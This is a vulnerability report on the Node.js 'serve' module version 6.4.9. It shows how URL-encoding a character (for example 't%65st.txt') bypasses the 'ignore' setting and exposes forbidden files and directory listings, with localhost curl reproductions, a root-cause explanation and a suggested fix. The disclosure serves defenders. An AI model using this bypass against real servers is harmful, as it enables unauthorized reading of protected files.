Node.js third-party modules · Report #308721
[serve] Directory listing and File access even when they have been set to be ignored.
How it was found
Module:
- Name:
serve - Version: latest (
6.4.9) - Link: https://www.npmjs.com/package/serve
Description:
The serve modules allows directory browsing and to serve static files through the browser.
The config option ignore can be used to tell the module which file or directory are forbidden and should not be served.
This rule can be bypassed by url encoding the name of the file or directory that has been forbidden.
Reproduction Steps:
- Install
serve - Create an application that uses serve for file serving listing and set a few folders and files in the
ignoreconfig.
const serve = require('serve')
const server = serve(__dirname, {
port: 1337,
ignore: ['testfolder', 'test.txt']
})
- Run the app
$ node filename.js
- Now, current directory will be served by
servewith the exception of foldertestfolderand filetest.txt - If we try to curl
test.txtwe get aNot Founderror
$ curl http://localhost:1337/test.txt
Not Found
- The url encoded value for
eis%65. So after replacing anewith its url encoded form, we are able to access the file.
$ curl http://localhost:1337/t%65st.txt
this is a forbidden file :D
- Additionally, curling the directory
testfolderreturns a 404 too.
$ curl http://localhost:1337/testfolder/
Not Found
- Applying the same strategy as above, we are able to get a listing of all the files and folders inside the restricted directory.
$ curl http://localhost:1337/t%65stfolder/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Files within testserve/testfolder/</title>
.
.
<li>
<a href="/testfolder/testfile.txt" title="testfile.txt" class="txt">testfile.txt</a>
<i>31 B</i>
</li>
.
.
- And then we can further access the files inside the forbidden folder using same strategy.
$ curl http://localhost:1337/t%65stfolder/testfile.txt
this is a test ... forbidden !
Mitigation Strategy
From what I could gather, this is happening because the path variable that is being checked against the user created forbidden folders blacklist, is essentially different from the one which is being used to serve the file/folder.
Note these particular lines in file /lib/server.js-
90 const ignored = !ignoredFiles.every(item => {
91 return !pathname.includes(item)
92 })
Line 91 handles the logic for checking if one of the ignored folder/file names is present in the current requested path. Note that here, the variable pathname is used. This variable is not url decoded, while the variable which is used to actually serve the file is named related and is url decoded by passing requested path through decodeURIComponent function.
So one strategy would be to use the related variable for checking against the blacklist too.
Impact
The issue essentially bypasses the ignore files/folders feature and allows an attacker to read from a directory/file that the victim has not allowed access to.